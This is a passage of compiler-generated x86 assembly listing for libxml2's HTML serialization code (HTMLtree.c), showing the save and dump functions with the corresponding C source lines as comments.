cmp DWORD PTR [eax+4], 5
je SHORT $LN1@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+20], 0
je SHORT $LN1@htmlNodeDu
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+20]
cmp DWORD PTR [eax+8], 0
je SHORT $LN1@htmlNodeDu
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+20]
mov eax, 1
imul ecx, eax, 0
mov edx, DWORD PTR [edx+8]
movzx eax, BYTE PTR [edx+ecx]
cmp eax, 112 ; 00000070H
je SHORT $LN1@htmlNodeDu
; 990 : (cur->parent->name[0] != 'p')) /* p, pre, param */
; 991 : xmlOutputBufferWriteString(buf, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferWriteString
add esp, 8
$LN1@htmlNodeDu:
; 992 : }
; 993 : }
pop esi
add esp, 8
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlNodeDumpFormatOutput ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlSaveFileFormat
_TEXT SEGMENT
_enc$1 = -16 ; size = 4
_ret$ = -12 ; size = 4
_handler$ = -8 ; size = 4
_buf$ = -4 ; size = 4
_filename$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_encoding$ = 16 ; size = 4
_format$ = 20 ; size = 4
_htmlSaveFileFormat PROC ; COMDAT
; 1183 : const char *encoding, int format) {
push ebp
mov ebp, esp
sub esp, 16 ; 00000010H
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 1184 : xmlOutputBufferPtr buf;
; 1185 : xmlCharEncodingHandlerPtr handler = NULL;
mov DWORD PTR _handler$[ebp], 0
; 1186 : int ret;
; 1187 :
; 1188 : if ((cur == NULL) || (filename == NULL))
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN3@htmlSaveFi
cmp DWORD PTR _filename$[ebp], 0
jne SHORT $LN2@htmlSaveFi
$LN3@htmlSaveFi:
; 1189 : return(-1);
or eax, -1
jmp $LN1@htmlSaveFi
$LN2@htmlSaveFi:
; 1190 :
; 1191 : xmlInitParser();
call _xmlInitParser
; 1192 :
; 1193 : if (encoding != NULL) {
cmp DWORD PTR _encoding$[ebp], 0
je SHORT $LN4@htmlSaveFi
; 1194 : xmlCharEncoding enc;
; 1195 :
; 1196 : enc = xmlParseCharEncoding(encoding);
mov eax, DWORD PTR _encoding$[ebp]
push eax
call _xmlParseCharEncoding
add esp, 4
mov DWORD PTR _enc$1[ebp], eax
; 1197 : if (enc != XML_CHAR_ENCODING_UTF8) {
cmp DWORD PTR _enc$1[ebp], 1
je SHORT $LN6@htmlSaveFi
; 1198 : handler = xmlFindCharEncodingHandler(encoding);
mov ecx, DWORD PTR _encoding$[ebp]
push ecx
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
; 1199 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN6@htmlSaveFi
; 1200 : htmlSaveErr(XML_SAVE_UNKNOWN_ENCODING, NULL, encoding);
mov edx, DWORD PTR _encoding$[ebp]
push edx
push 0
push 1403 ; 0000057bH
call _htmlSaveErr
add esp, 12 ; 0000000cH
$LN6@htmlSaveFi:
; 1201 : }
; 1202 : htmlSetMetaEncoding(cur, (const xmlChar *) encoding);
mov eax, DWORD PTR _encoding$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
push ecx
call _htmlSetMetaEncoding
add esp, 8
; 1203 : } else {
jmp SHORT $LN5@htmlSaveFi
$LN4@htmlSaveFi:
; 1204 : htmlSetMetaEncoding(cur, (const xmlChar *) "UTF-8");
push OFFSET ??_C@_05EGJIMALK@UTF?98@
mov edx, DWORD PTR _cur$[ebp]
push edx
call _htmlSetMetaEncoding
add esp, 8
; 1205 :
; 1206 : /*
; 1207 : * Fallback to HTML or ASCII when the encoding is unspecified
; 1208 : */
; 1209 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN8@htmlSaveFi
; 1210 : handler = xmlFindCharEncodingHandler("HTML");
push OFFSET ??_C@_04DBLPJNAF@HTML@
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
$LN8@htmlSaveFi:
; 1211 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN5@htmlSaveFi
; 1212 : handler = xmlFindCharEncodingHandler("ascii");
push OFFSET ??_C@_05OJENGABA@ascii@
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
$LN5@htmlSaveFi:
; 1213 : }
; 1214 :
; 1215 : /*
; 1216 : * save the content to a temp buffer.
; 1217 : */
; 1218 : buf = xmlOutputBufferCreateFilename(filename, handler, 0);
push 0
mov eax, DWORD PTR _handler$[ebp]
push eax
mov ecx, DWORD PTR _filename$[ebp]
push ecx
call _xmlOutputBufferCreateFilename
add esp, 12 ; 0000000cH
mov DWORD PTR _buf$[ebp], eax
; 1219 : if (buf == NULL) return(0);
cmp DWORD PTR _buf$[ebp], 0
jne SHORT $LN10@htmlSaveFi
xor eax, eax
jmp SHORT $LN1@htmlSaveFi
$LN10@htmlSaveFi:
; 1220 :
; 1221 : htmlDocContentDumpFormatOutput(buf, cur, encoding, format);
mov edx, DWORD PTR _format$[ebp]
push edx
mov eax, DWORD PTR _encoding$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _buf$[ebp]
push edx
call _htmlDocContentDumpFormatOutput
add esp, 16 ; 00000010H
; 1222 :
; 1223 : ret = xmlOutputBufferClose(buf);
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferClose
add esp, 4
mov DWORD PTR _ret$[ebp], eax
; 1224 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@htmlSaveFi:
; 1225 : }
add esp, 16 ; 00000010H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlSaveFileFormat ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlSaveFileEnc
_TEXT SEGMENT
_filename$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_encoding$ = 16 ; size = 4
_htmlSaveFileEnc PROC ; COMDAT
; 1239 : htmlSaveFileEnc(const char *filename, xmlDocPtr cur, const char *encoding) {
push ebp
mov ebp, esp
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 1240 : return(htmlSaveFileFormat(filename, cur, encoding, 1));
push 1
mov eax, DWORD PTR _encoding$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _filename$[ebp]
push edx
call _htmlSaveFileFormat
add esp, 16 ; 00000010H
; 1241 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_htmlSaveFileEnc ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlNodeDumpFileFormat
_TEXT SEGMENT
_enc$1 = -16 ; size = 4
_ret$ = -12 ; size = 4
_handler$ = -8 ; size = 4
_buf$ = -4 ; size = 4
_out$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_encoding$ = 20 ; size = 4
_format$ = 24 ; size = 4
_htmlNodeDumpFileFormat PROC ; COMDAT
; 489 : xmlNodePtr cur, const char *encoding, int format) {
push ebp
mov ebp, esp
sub esp, 16 ; 00000010H
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 490 : xmlOutputBufferPtr buf;
; 491 : xmlCharEncodingHandlerPtr handler = NULL;
mov DWORD PTR _handler$[ebp], 0
; 492 : int ret;
; 493 :
; 494 : xmlInitParser();
call _xmlInitParser
; 495 :
; 496 : if (encoding != NULL) {
cmp DWORD PTR _encoding$[ebp], 0
je SHORT $LN2@htmlNodeDu
; 497 : xmlCharEncoding enc;
; 498 :
; 499 : enc = xmlParseCharEncoding(encoding);
mov eax, DWORD PTR _encoding$[ebp]
push eax
call _xmlParseCharEncoding
add esp, 4
mov DWORD PTR _enc$1[ebp], eax
; 500 : if (enc != XML_CHAR_ENCODING_UTF8) {
cmp DWORD PTR _enc$1[ebp], 1
je SHORT $LN4@htmlNodeDu
; 501 : handler = xmlFindCharEncodingHandler(encoding);
mov ecx, DWORD PTR _encoding$[ebp]
push ecx
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
; 502 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN4@htmlNodeDu
; 503 : htmlSaveErr(XML_SAVE_UNKNOWN_ENCODING, NULL, encoding);
mov edx, DWORD PTR _encoding$[ebp]
push edx
push 0
push 1403 ; 0000057bH
call _htmlSaveErr
add esp, 12 ; 0000000cH
$LN4@htmlNodeDu:
; 504 : }
; 505 : } else {
jmp SHORT $LN3@htmlNodeDu
$LN2@htmlNodeDu:
; 506 : /*
; 507 : * Fallback to HTML or ASCII when the encoding is unspecified
; 508 : */
; 509 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN6@htmlNodeDu
; 510 : handler = xmlFindCharEncodingHandler("HTML");
push OFFSET ??_C@_04DBLPJNAF@HTML@
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
$LN6@htmlNodeDu:
; 511 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN3@htmlNodeDu
; 512 : handler = xmlFindCharEncodingHandler("ascii");
push OFFSET ??_C@_05OJENGABA@ascii@
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
$LN3@htmlNodeDu:
; 513 : }
; 514 :
; 515 : /*
; 516 : * save the content to a temp buffer.
; 517 : */
; 518 : buf = xmlOutputBufferCreateFile(out, handler);
mov eax, DWORD PTR _handler$[ebp]
push eax
mov ecx, DWORD PTR _out$[ebp]
push ecx
call _xmlOutputBufferCreateFile
add esp, 8
mov DWORD PTR _buf$[ebp], eax
; 519 : if (buf == NULL) return(0);
cmp DWORD PTR _buf$[ebp], 0
jne SHORT $LN8@htmlNodeDu
xor eax, eax
jmp SHORT $LN1@htmlNodeDu
$LN8@htmlNodeDu:
; 520 :
; 521 : htmlNodeDumpFormatOutput(buf, doc, cur, encoding, format);
mov edx, DWORD PTR _format$[ebp]
push edx
mov eax, DWORD PTR _encoding$[ebp]
push eax
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _doc$[ebp]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _htmlNodeDumpFormatOutput
add esp, 20 ; 00000014H
; 522 :
; 523 : ret = xmlOutputBufferClose(buf);
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferClose
add esp, 4
mov DWORD PTR _ret$[ebp], eax
; 524 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@htmlNodeDu:
; 525 : }
add esp, 16 ; 00000010H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlNodeDumpFileFormat ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlNodeDumpFile
_TEXT SEGMENT
_out$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_htmlNodeDumpFile PROC ; COMDAT
; 537 : htmlNodeDumpFile(FILE *out, xmlDocPtr doc, xmlNodePtr cur) {
push ebp
mov ebp, esp
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 538 : htmlNodeDumpFileFormat(out, doc, cur, NULL, 1);
push 1
push 0
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _doc$[ebp]
push ecx
mov edx, DWORD PTR _out$[ebp]
push edx
call _htmlNodeDumpFileFormat
add esp, 20 ; 00000014H
; 539 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_htmlNodeDumpFile ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlNodeDump
_TEXT SEGMENT
_ret$ = -8 ; size = 4
_buffer$ = -4 ; size = 4
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_cur$ = 16 ; size = 4
_htmlNodeDump PROC ; COMDAT
; 452 : htmlNodeDump(xmlBufferPtr buf, xmlDocPtr doc, xmlNodePtr cur) {
push ebp
mov ebp, esp
sub esp, 8
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 453 : xmlBufPtr buffer;
; 454 : size_t ret;
; 455 :
; 456 : if ((buf == NULL) || (cur == NULL))
cmp DWORD PTR _buf$[ebp], 0
je SHORT $LN3@htmlNodeDu
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN2@htmlNodeDu
$LN3@htmlNodeDu:
; 457 : return(-1);
or eax, -1
jmp SHORT $LN1@htmlNodeDu
$LN2@htmlNodeDu:
; 458 :
; 459 : xmlInitParser();
call _xmlInitParser
; 460 : buffer = xmlBufFromBuffer(buf);
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlBufFromBuffer
add esp, 4
mov DWORD PTR _buffer$[ebp], eax
; 461 : if (buffer == NULL)
cmp DWORD PTR _buffer$[ebp], 0
jne SHORT $LN4@htmlNodeDu
; 462 : return(-1);
or eax, -1
jmp SHORT $LN1@htmlNodeDu
$LN4@htmlNodeDu:
; 463 :
; 464 : ret = htmlBufNodeDumpFormat(buffer, doc, cur, 1);
push 1
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _doc$[ebp]
push edx
mov eax, DWORD PTR _buffer$[ebp]
push eax
call _htmlBufNodeDumpFormat
add esp, 16 ; 00000010H
mov DWORD PTR _ret$[ebp], eax
; 465 :
; 466 : xmlBufBackToBuffer(buffer);
mov ecx, DWORD PTR _buffer$[ebp]
push ecx
call _xmlBufBackToBuffer
add esp, 4
; 467 :
; 468 : if (ret > INT_MAX)
cmp DWORD PTR _ret$[ebp], 2147483647 ; 7fffffffH
jbe SHORT $LN5@htmlNodeDu
; 469 : return(-1);
or eax, -1
jmp SHORT $LN1@htmlNodeDu
$LN5@htmlNodeDu:
; 470 : return((int) ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@htmlNodeDu:
; 471 : }
add esp, 8
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlNodeDump ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlSaveFile
_TEXT SEGMENT
_enc$1 = -20 ; size = 4
_ret$ = -16 ; size = 4
_encoding$ = -12 ; size = 4
_handler$ = -8 ; size = 4
_buf$ = -4 ; size = 4
_filename$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_htmlSaveFile PROC ; COMDAT
; 1126 : htmlSaveFile(const char *filename, xmlDocPtr cur) {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-20], eax
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 1127 : xmlOutputBufferPtr buf;
; 1128 : xmlCharEncodingHandlerPtr handler = NULL;
mov DWORD PTR _handler$[ebp], 0
; 1129 : const char *encoding;
; 1130 : int ret;
; 1131 :
; 1132 : if ((cur == NULL) || (filename == NULL))
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN3@htmlSaveFi
cmp DWORD PTR _filename$[ebp], 0
jne SHORT $LN2@htmlSaveFi
$LN3@htmlSaveFi:
; 1133 : return(-1);
or eax, -1
jmp $LN1@htmlSaveFi
$LN2@htmlSaveFi:
; 1134 :
; 1135 : xmlInitParser();
call _xmlInitParser
; 1136 :
; 1137 : encoding = (const char *) htmlGetMetaEncoding(cur);
mov eax, DWORD PTR _cur$[ebp]
push eax
call _htmlGetMetaEncoding
add esp, 4
mov DWORD PTR _encoding$[ebp], eax
; 1138 :
; 1139 : if (encoding != NULL) {
cmp DWORD PTR _encoding$[ebp], 0
je SHORT $LN4@htmlSaveFi
; 1140 : xmlCharEncoding enc;
; 1141 :
; 1142 : enc = xmlParseCharEncoding(encoding);
mov ecx, DWORD PTR _encoding$[ebp]
push ecx
call _xmlParseCharEncoding
add esp, 4
mov DWORD PTR _enc$1[ebp], eax
; 1143 : if (enc != XML_CHAR_ENCODING_UTF8) {
cmp DWORD PTR _enc$1[ebp], 1
je SHORT $LN6@htmlSaveFi
; 1144 : handler = xmlFindCharEncodingHandler(encoding);
mov edx, DWORD PTR _encoding$[ebp]
push edx
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
; 1145 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN6@htmlSaveFi
; 1146 : htmlSaveErr(XML_SAVE_UNKNOWN_ENCODING, NULL, encoding);
mov eax, DWORD PTR _encoding$[ebp]
push eax
push 0
push 1403 ; 0000057bH
call _htmlSaveErr
add esp, 12 ; 0000000cH
$LN6@htmlSaveFi:
; 1147 : }
; 1148 : } else {
jmp SHORT $LN5@htmlSaveFi
$LN4@htmlSaveFi:
; 1149 : /*
; 1150 : * Fallback to HTML or ASCII when the encoding is unspecified
; 1151 : */
; 1152 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN8@htmlSaveFi
; 1153 : handler = xmlFindCharEncodingHandler("HTML");
push OFFSET ??_C@_04DBLPJNAF@HTML@
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
$LN8@htmlSaveFi:
; 1154 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN5@htmlSaveFi
; 1155 : handler = xmlFindCharEncodingHandler("ascii");
push OFFSET ??_C@_05OJENGABA@ascii@
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
$LN5@htmlSaveFi:
; 1156 : }
; 1157 :
; 1158 : /*
; 1159 : * save the content to a temp buffer.
; 1160 : */
; 1161 : buf = xmlOutputBufferCreateFilename(filename, handler, cur->compression);
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+36]
push edx
mov eax, DWORD PTR _handler$[ebp]
push eax
mov ecx, DWORD PTR _filename$[ebp]
push ecx
call _xmlOutputBufferCreateFilename
add esp, 12 ; 0000000cH
mov DWORD PTR _buf$[ebp], eax
; 1162 : if (buf == NULL) return(0);
cmp DWORD PTR _buf$[ebp], 0
jne SHORT $LN10@htmlSaveFi
xor eax, eax
jmp SHORT $LN1@htmlSaveFi
$LN10@htmlSaveFi:
; 1163 :
; 1164 : htmlDocContentDumpOutput(buf, cur, NULL);
push 0
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _buf$[ebp]
push eax
call _htmlDocContentDumpOutput
add esp, 12 ; 0000000cH
; 1165 :
; 1166 : ret = xmlOutputBufferClose(buf);
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _xmlOutputBufferClose
add esp, 4
mov DWORD PTR _ret$[ebp], eax
; 1167 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@htmlSaveFi:
; 1168 : }
add esp, 20 ; 00000014H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlSaveFile ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlDocDump
_TEXT SEGMENT
_enc$1 = -20 ; size = 4
_ret$ = -16 ; size = 4
_encoding$ = -12 ; size = 4
_handler$ = -8 ; size = 4
_buf$ = -4 ; size = 4
_f$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_htmlDocDump PROC ; COMDAT
; 1075 : htmlDocDump(FILE *f, xmlDocPtr cur) {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-20], eax
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 1076 : xmlOutputBufferPtr buf;
; 1077 : xmlCharEncodingHandlerPtr handler = NULL;
mov DWORD PTR _handler$[ebp], 0
; 1078 : const char *encoding;
; 1079 : int ret;
; 1080 :
; 1081 : xmlInitParser();
call _xmlInitParser
; 1082 :
; 1083 : if ((cur == NULL) || (f == NULL)) {
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN3@htmlDocDum
cmp DWORD PTR _f$[ebp], 0
jne SHORT $LN2@htmlDocDum
$LN3@htmlDocDum:
; 1084 : return(-1);
or eax, -1
jmp $LN1@htmlDocDum
$LN2@htmlDocDum:
; 1085 : }
; 1086 :
; 1087 : encoding = (const char *) htmlGetMetaEncoding(cur);
mov eax, DWORD PTR _cur$[ebp]
push eax
call _htmlGetMetaEncoding
add esp, 4
mov DWORD PTR _encoding$[ebp], eax
; 1088 :
; 1089 : if (encoding != NULL) {
cmp DWORD PTR _encoding$[ebp], 0
je SHORT $LN4@htmlDocDum
; 1090 : xmlCharEncoding enc;
; 1091 :
; 1092 : enc = xmlParseCharEncoding(encoding);
mov ecx, DWORD PTR _encoding$[ebp]
push ecx
call _xmlParseCharEncoding
add esp, 4
mov DWORD PTR _enc$1[ebp], eax
; 1093 : if (enc != XML_CHAR_ENCODING_UTF8) {
cmp DWORD PTR _enc$1[ebp], 1
je SHORT $LN6@htmlDocDum
; 1094 : handler = xmlFindCharEncodingHandler(encoding);
mov edx, DWORD PTR _encoding$[ebp]
push edx
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
; 1095 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN6@htmlDocDum
; 1096 : htmlSaveErr(XML_SAVE_UNKNOWN_ENCODING, NULL, encoding);
mov eax, DWORD PTR _encoding$[ebp]
push eax
push 0
push 1403 ; 0000057bH
call _htmlSaveErr
add esp, 12 ; 0000000cH
$LN6@htmlDocDum:
; 1097 : }
; 1098 : } else {
jmp SHORT $LN5@htmlDocDum
$LN4@htmlDocDum:
; 1099 : /*
; 1100 : * Fallback to HTML or ASCII when the encoding is unspecified
; 1101 : */
; 1102 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN8@htmlDocDum
; 1103 : handler = xmlFindCharEncodingHandler("HTML");
push OFFSET ??_C@_04DBLPJNAF@HTML@
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
$LN8@htmlDocDum:
; 1104 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN5@htmlDocDum
; 1105 : handler = xmlFindCharEncodingHandler("ascii");
push OFFSET ??_C@_05OJENGABA@ascii@
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
$LN5@htmlDocDum:
; 1106 : }
; 1107 :
; 1108 : buf = xmlOutputBufferCreateFile(f, handler);
mov ecx, DWORD PTR _handler$[ebp]
push ecx
mov edx, DWORD PTR _f$[ebp]
push edx
call _xmlOutputBufferCreateFile
add esp, 8
mov DWORD PTR _buf$[ebp], eax
; 1109 : if (buf == NULL) return(-1);
cmp DWORD PTR _buf$[ebp], 0
jne SHORT $LN10@htmlDocDum
or eax, -1
jmp SHORT $LN1@htmlDocDum
$LN10@htmlDocDum:
; 1110 : htmlDocContentDumpOutput(buf, cur, NULL);
push 0
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _buf$[ebp]
push ecx
call _htmlDocContentDumpOutput
add esp, 12 ; 0000000cH
; 1111 :
; 1112 : ret = xmlOutputBufferClose(buf);
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferClose
add esp, 4
mov DWORD PTR _ret$[ebp], eax
; 1113 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@htmlDocDum:
; 1114 : }
add esp, 20 ; 00000014H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlDocDump ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlDocDumpMemoryFormat
_TEXT SEGMENT
_enc$1 = -16 ; size = 4
_encoding$ = -12 ; size = 4
_handler$ = -8 ; size = 4
_buf$ = -4 ; size = 4
_cur$ = 8 ; size = 4
_mem$ = 12 ; size = 4
_size$ = 16 ; size = 4
_format$ = 20 ; size = 4
_htmlDocDumpMemoryFormat PROC ; COMDAT
; 552 : htmlDocDumpMemoryFormat(xmlDocPtr cur, xmlChar**mem, int *size, int format) {
push ebp
mov ebp, esp
sub esp, 16 ; 00000010H
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 553 : xmlOutputBufferPtr buf;
; 554 : xmlCharEncodingHandlerPtr handler = NULL;
mov DWORD PTR _handler$[ebp], 0
; 555 : const char *encoding;
; 556 :
; 557 : xmlInitParser();
call _xmlInitParser
; 558 :
; 559 : if ((mem == NULL) || (size == NULL))
cmp DWORD PTR _mem$[ebp], 0
je SHORT $LN3@htmlDocDum
cmp DWORD PTR _size$[ebp], 0
jne SHORT $LN2@htmlDocDum
$LN3@htmlDocDum:
; 560 : return;
jmp $LN1@htmlDocDum
$LN2@htmlDocDum:
; 561 : if (cur == NULL) {
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN4@htmlDocDum
; 562 : *mem = NULL;
mov eax, DWORD PTR _mem$[ebp]
mov DWORD PTR [eax], 0
; 563 : *size = 0;
mov ecx, DWORD PTR _size$[ebp]
mov DWORD PTR [ecx], 0
; 564 : return;
jmp $LN1@htmlDocDum
$LN4@htmlDocDum:
; 565 : }
; 566 :
; 567 : encoding = (const char *) htmlGetMetaEncoding(cur);
mov edx, DWORD PTR _cur$[ebp]
push edx
call _htmlGetMetaEncoding
add esp, 4
mov DWORD PTR _encoding$[ebp], eax
; 568 :
; 569 : if (encoding != NULL) {
cmp DWORD PTR _encoding$[ebp], 0
je SHORT $LN5@htmlDocDum
; 570 : xmlCharEncoding enc;
; 571 :
; 572 : enc = xmlParseCharEncoding(encoding);
mov eax, DWORD PTR _encoding$[ebp]
push eax
call _xmlParseCharEncoding
add esp, 4
mov DWORD PTR _enc$1[ebp], eax
; 573 : if (enc != XML_CHAR_ENCODING_UTF8) {
cmp DWORD PTR _enc$1[ebp], 1
je SHORT $LN7@htmlDocDum
; 574 : handler = xmlFindCharEncodingHandler(encoding);
mov ecx, DWORD PTR _encoding$[ebp]
push ecx
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
; 575 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN7@htmlDocDum
; 576 : htmlSaveErr(XML_SAVE_UNKNOWN_ENCODING, NULL, encoding);
mov edx, DWORD PTR _encoding$[ebp]
push edx
push 0
push 1403 ; 0000057bH
call _htmlSaveErr
add esp, 12 ; 0000000cH
$LN7@htmlDocDum:
; 577 :
; 578 : }
; 579 : } else {
jmp SHORT $LN6@htmlDocDum
$LN5@htmlDocDum:
; 580 : /*
; 581 : * Fallback to HTML or ASCII when the encoding is unspecified
; 582 : */
; 583 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN9@htmlDocDum
; 584 : handler = xmlFindCharEncodingHandler("HTML");
push OFFSET ??_C@_04DBLPJNAF@HTML@
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
$LN9@htmlDocDum:
; 585 : if (handler == NULL)
cmp DWORD PTR _handler$[ebp], 0
jne SHORT $LN6@htmlDocDum
